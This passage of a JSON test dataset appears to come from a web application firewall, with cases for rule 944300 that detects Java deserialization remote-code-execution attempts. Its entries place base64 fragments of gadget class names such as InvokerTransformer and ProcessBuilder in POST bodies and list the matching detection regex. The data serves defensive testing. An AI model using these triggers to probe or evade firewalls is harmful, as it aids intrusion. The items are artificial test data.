"metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "HByb3RvdHlwZWNsb25lZmFjdG9yeQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"HByb3RvdHlwZWNsb25lZmFjdG9yeQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">HByb3RvdHlwZWNsb25lZmFjdG9yeQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">HByb3RvdHlwZWNsb25lZmFjdG9yeQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type text/plain includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"HByb3RvdHlwZWNsb25lZmFjdG9yeQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg value includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"HByb3RvdHlwZWNsb25lZmFjdG9yeQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Content-Type application/json arg name includes keyword HByb3RvdHlwZWNsb25lZmFjdG9yeQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument test includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Argument name includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML attribute value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "XML element value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:cnVudGltZQ|HJ1bnRpbWU|BydW50aW1l|cHJvY2Vzc2J1aWxkZXI|HByb2Nlc3NidWlsZGVy|Bwcm9jZXNzYnVpbGRlcg|Y2xvbmV0cmFuc2Zvcm1lcg|GNsb25ldHJhbnNmb3JtZXI|BjbG9uZXRyYW5zZm9ybWVy|Zm9yY2xvc3VyZQ|GZvcmNsb3N1cmU|Bmb3JjbG9zdXJl|aW5zdGFudGlhdGVmYWN0b3J5|Gluc3RhbnRpYXRlZmFjdG9yeQ|BpbnN0YW50aWF0ZWZhY3Rvcnk|aW5zdGFudGlhdGV0cmFuc2Zvcm1lcg|Gluc3RhbnRpYXRldHJhbnNmb3JtZXI|BpbnN0YW50aWF0ZXRyYW5zZm9ybWVy|aW52b2tlcnRyYW5zZm9ybWVy|Gludm9rZXJ0cmFuc2Zvcm1lcg|BpbnZva2VydHJhbnNmb3JtZXI|cHJvdG90eXBlY2xvbmVmYWN0b3J5|HByb3RvdHlwZWNsb25lZmFjdG9yeQ|Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk|cHJvdG90eXBlc2VyaWFsaXphdGlvbmZhY3Rvcnk|HByb3RvdHlwZXNlcmlhbGl6YXRpb25mYWN0b3J5|Bwcm90b3R5cGVzZXJpYWxpemF0aW9uZmFjdG9yeQ|d2hpbGVjbG9zdXJl|HdoaWxlY2xvc3VyZQ|B3aGlsZWNsb3N1cmU)", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944300", "test_description": "Nested XML element value includes keyword Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=Bwcm90b3R5cGVjbG9uZWZhY3Rvcnk" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 